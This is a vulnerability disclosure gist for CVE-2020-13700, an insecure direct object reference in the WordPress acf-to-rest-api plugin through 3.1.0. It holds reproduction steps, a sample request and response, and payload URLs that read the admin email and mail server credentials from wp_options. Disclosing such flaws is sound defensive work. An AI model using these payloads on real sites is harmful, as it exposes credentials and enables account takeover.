mariuszpoplwski / **CVE-2020-13700**

Last active last year

CVE-2020-13700

```
CVE-2020-13700

https://gist.github.com/mariuszpoplawski/b5fc9fdbf5469ed139e114a913dcf3ba


----------------------------------------

[Suggested description]
 An issue was discovered in the acf-to-rest-api plugin through 3.1.0 for WordPress.
 It allows an insecure direct object reference via permalinks manipulation, as demonstrated by a
 wp-json/acf/v3/options/ request that reads
 sensitive information in the wp_options table, such as
 the login and
 pass values.

 ----------------------------------------

 [Additional Information]
 During penetration test we have found that the logic of ACF can be
 abused by sending crafted URI and overriding parameters in permalinks
 using $_GET parameter. There is a possibility to read Wordpress
 settings saved in "wp_options" table.

 During penetration test we have found that the logic of ACF can be
 abused by sending crafted URI and overriding parameters in permalinks
 using $_GET parameter. There is a possibility to read Wordpress
 settings saved in "wp_options" table.

 To reproduce the vulnerability, we have to send a request with usage
 of wp-json ACF in following format "wp-json/acf/v3/options/a", where
 we defined a value "id" of options as "a". Then we have to override
 the parameter by sending $_GET "id" and "field" to compose full
 meta_key name that is valid in wp_options table. As a result, server
 will return a meta_value in the response.

 Example request to takeover "active_plugins" key and get full list of activated plugins in current installation:
 GET /wp-json/acf/v3/options/a?id=active&field=plugins HTTP/1.1

 Server response:
 HTTP/1.1 200 OK
 Content-Type: application/json; charset=UTF-8

 {"plugins":["acf-better-search\/acf-better-search.php","acf-to-rest-api\/class-acf-to-rest-api.php",
 "advanced-custom-fields-pro\/acf.php","advanced-custom-fields\/acf.php"]}`

 Example payloads:
 https://VulnerableDomain.com/wp-json/acf/v3/options/a?id=admin&field=email
 https://VulnerableDomain.com/wp-json/acf/v3/options/a?id=mailserver&field=login
 https://VulnerableDomain.com/wp-json/acf/v3/options/a?id=mailserver&field=pass

 ----------------------------------------

 [VulnerabilityType Other]
 Insecure direct object reference via permalinks manipulation

 ----------------------------------------

 [Vendor of Product]
 https://github.com/airesvsg/acf-to-rest-api

 ----------------------------------------

 [Affected Product Code Base]
 wordpress acf-to-rest-api plugin - affected <= 3.1.0

 ----------------------------------------

 [Affected Component]
 options fetching

 ----------------------------------------

 [Attack Type]
 Remote

 ----------------------------------------

 [Impact Information Disclosure]
 true

 ----------------------------------------
```

```
 [Reference]
 https://github.com/airesvsg/acf-to-rest-api
 https://wordpress.org/plugins/acf-to-rest-api/#developers

 ----------------------------------------

 [Discoverer]
 Mariusz Poplawski

----------------------------------------


Mariusz Popławski / AFINE.com team
```